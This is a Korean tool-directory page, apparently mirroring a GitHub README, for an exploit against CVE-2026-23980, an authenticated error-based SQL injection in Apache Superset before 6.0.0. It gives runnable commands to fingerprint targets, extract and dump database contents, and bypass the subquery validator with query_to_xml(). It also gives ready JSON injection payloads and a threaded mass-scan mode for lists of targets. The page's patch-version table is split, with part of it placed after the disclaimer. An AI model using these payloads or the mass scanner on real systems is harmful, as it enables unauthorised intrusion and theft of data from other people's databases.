Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23980-Exploit — # CVE-2026-23980 익스플로잇 — Apache Superset < 6.0.0에서 sqlExpression 우회를 통한 인증된 오류 기반 SQL 인젝션 | Kitploit
도구/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

# CVE-2026-23980 익스플로잇 — Apache Superset < 6.0.0에서 sqlExpression 우회를 통한 인증된 오류 기반 SQL 인젝션

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-23980 - Apache Superset 인증된 SQL 인젝션

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression이 곧바로 쿼리로 전달됩니다. 매개변수화 없음. 희망 없음.

Apache Superset < 6.0.0은 읽기 권한이 있는 인증된 사용자가 /api/v1/chart/data 엔드포인트의 sqlExpression 또는 where 매개변수를 통해 오류 기반 SQL 인젝션을 수행할 수 있게 합니다.

validate_adhoc_subquery() 필터는 PostgreSQL XML 함수(query_to_xml 등)를 사용하여 우회됩니다. 이 함수들은 sqlparse 토크나이저에 보이지 않는 함수 인자로 SQL을 실행합니다.

  • CVSS: 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (SQL 인젝션)
  • 영향 범위: Apache Superset < 6.0.0
  • 수정 버전: Apache Superset 6.0.0
  • 인증 필요: 예 (읽기 권한)
  • 데이터베이스: PostgreSQL (오류 기반 추출)

공격 체인

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc 컬럼 sqlExpression / extras.where 인젝션
  -> validate_adhoc_subquery() query_to_xml()로 우회됨
  -> 원시 SQL이 PostgreSQL에 도달
  -> CAST((...) AS INT) 오류가 응답에서 데이터를 유출

설치

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

사용법

정찰 - 핑거프린팅 및 데이터소스 열거

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

데이터소스 인젝션 가능 여부 테스트

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

오류 기반 SQLi로 데이터 추출

root@kitploit:~
# 데이터베이스 버전
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# 데이터베이스 사용자
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# 테이블 목록
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# 현재 사용자
python3 exploit.py ... --sql "SELECT current_user"

query_to_xml()로 하위 쿼리 검증 우회

validate_adhoc_subquery()가 쿼리를 차단할 때 (FROM/JOIN 감지):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

이 옵션은 쿼리를 query_to_xml()로 감싸서 토크나이저가 FROM 절을 감지하지 못하게 합니다.

여러 행 덤프

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

WHERE 인젝션 포인트 사용

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

대량 스캔

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Burp 프록시 경유

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

작동 원리

인젝션 벡터

sqlExpression (기본값) - 컬럼 정의에 인젝션:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - extras.where 절에 인젝션:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

오류 기반 추출

이 익스플로잇은 PostgreSQL의 타입 캐스팅을 사용하여 데이터를 유출합니다:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL은 문자열을 정수로 변환할 수 없으므로 다음과 같은 오류를 발생시킵니다:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

유출된 값은 API 응답의 오류 메시지에서 파싱됩니다.

검증 우회

Superset의 has_table_query()는 하위 쿼리를 감지하기 위해 FROM/JOIN을 검색합니다. PostgreSQL의 query_to_xml()은 SQL을 실행하지만 함수 인자로 숨깁니다:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

토크나이저는 FROM 절이 아닌 함수 호출로 인식하여 필터를 우회합니다.

패치 분석

버전상태
< 4.0.2취약 (XML 함수 차단 목록 없음)

참고 자료

  • NVD - CVE-2026-23980
  • Apache 권고
  • Quarkslab - Superset SQLi 제한 우회
  • OSS Security
  • CVE-2025-48912 - 관련 RLS 우회

면책 조항

이 도구는 승인된 보안 연구용으로만 사용하십시오. 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 작성자는 오용에 대해 책임을 지지 않습니다.

도구 다운로드
4.0.2부분 수정 (CVE-2024-39887 - 일부 XML 함수를 차단 목록에 추가)
4.1.0차단 목록 확장 (더 많은 XML 함수)
4.1.2행 수준 보안 우회 수정 (CVE-2025-48912)
6.0.0CVE-2026-23980 완전 수정